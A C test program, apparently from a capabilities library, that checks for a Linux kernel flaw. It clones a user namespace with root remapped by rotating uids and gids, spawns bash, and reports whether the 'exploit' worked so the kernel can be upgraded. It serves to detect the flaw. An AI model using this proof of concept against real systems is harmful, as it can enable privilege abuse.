• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Try unsharing where we remap the root user by rotating uids (0,1,2)
3  * and the corresponding gids too.
4  */
5 
6 #define _GNU_SOURCE
7 
8 #include <errno.h>
9 #include <sched.h>
10 #include <stdio.h>
11 #include <stdlib.h>
12 #include <string.h>
13 #include <sys/capability.h>
14 #include <sys/mman.h>
15 #include <sys/prctl.h>
16 #include <sys/wait.h>
17 #include <unistd.h>
18 
19 #define STACK_RESERVED 10*1024
20 
21 struct my_pipe {
22     int to[2];
23     int from[2];
24 };
25 
child(void * data)26 static int child(void *data) {
27     struct my_pipe *fdsp = data;
28     static const char * const args[] = {"bash", NULL};
29 
30     close(fdsp->to[1]);
31     close(fdsp->from[0]);
32     if (write(fdsp->from[1], "1", 1) != 1) {
33 	fprintf(stderr, "failed to confirm setuid(1)\n");
34 	exit(1);
35     }
36     close(fdsp->from[1]);
37 
38     char datum[1];
39     if (read(fdsp->to[0], datum, 1) != 1) {
40 	fprintf(stderr, "failed to wait for parent\n");
41 	exit(1);
42     }
43     close(fdsp->to[0]);
44     if (datum[0] == '!') {
45 	/* parent failed */
46 	exit(0);
47     }
48 
49     setsid();
50 
51     execv("/bin/bash", (const void *) args);
52     perror("execv failed");
53     exit(1);
54 }
55 
main(int argc,char ** argv)56 int main(int argc, char **argv)
57 {
58     static const char *file_formats[] = {
59 	"/proc/%d/uid_map",
60 	"/proc/%d/gid_map"
61     };
62     static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63     cap_value_t fscap = CAP_SETFCAP;
64     cap_t orig = cap_get_proc();
65 
66     /* Run with this one lowered */
67     cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
68 
69     struct my_pipe fds;
70     if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
71 	perror("no pipes");
72 	exit(1);
73     }
74 
75     char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
76 		       MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
77     if (stack == MAP_FAILED) {
78 	perror("no map for stack");
79 	exit(1);
80     }
81 
82     if (cap_setuid(1)) {
83 	perror("failed to cap_setuid(1)");
84 	exit(1);
85     }
86 
87     if (cap_set_proc(orig)) {
88 	perror("failed to raise caps again");
89 	exit(1);
90     }
91 
92     pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
93     if (pid == -1) {
94 	perror("clone failed");
95 	exit(1);
96     }
97 
98     close(fds.from[1]);
99     close(fds.to[0]);
100 
101     if (cap_setuid(0)) {
102 	perror("failed to cap_setuid(0)");
103 	exit(1);
104     }
105 
106     if (cap_set_proc(orig)) {
107 	perror("failed to raise caps again");
108 	exit(1);
109     }
110 
111     char datum[1];
112     if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
113 	fprintf(stderr, "failed to read child status\n");
114 	exit(1);
115     }
116     close(fds.from[0]);
117 
118     int i;
119     for (i=0; i<2; i++) {
120 	char *map_file;
121 	if (asprintf(&map_file, file_formats[i], pid) < 0) {
122 	    perror("allocate string");
123 	    exit(1);
124 	}
125 
126 	FILE *f = fopen(map_file, "w");
127 	free(map_file);
128 	if (f == NULL) {
129 	    perror("fopen failed");
130 	    exit(1);
131 	}
132 	int len = fwrite(id_map, 1, strlen(id_map), f);
133 	if (len != strlen(id_map)) {
134 	    goto bailok;
135 	}
136 	if (fclose(f)) {
137 	    goto bailok;
138 	}
139     }
140 
141     if (write(fds.to[1], ".", 1) != 1) {
142 	perror("failed to write '.'");
143 	exit(1);
144     }
145     close(fds.to[1]);
146 
147     fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
148     if (wait(NULL) == pid) {
149 	exit(1);
150     }
151     perror("launch failed");
152     exit(1);
153 
154 bailok:
155     fprintf(stderr, "exploit attempt failed\n");
156     (void) write(fds.to[1], "!", 1);
157     exit(0);
158 }
159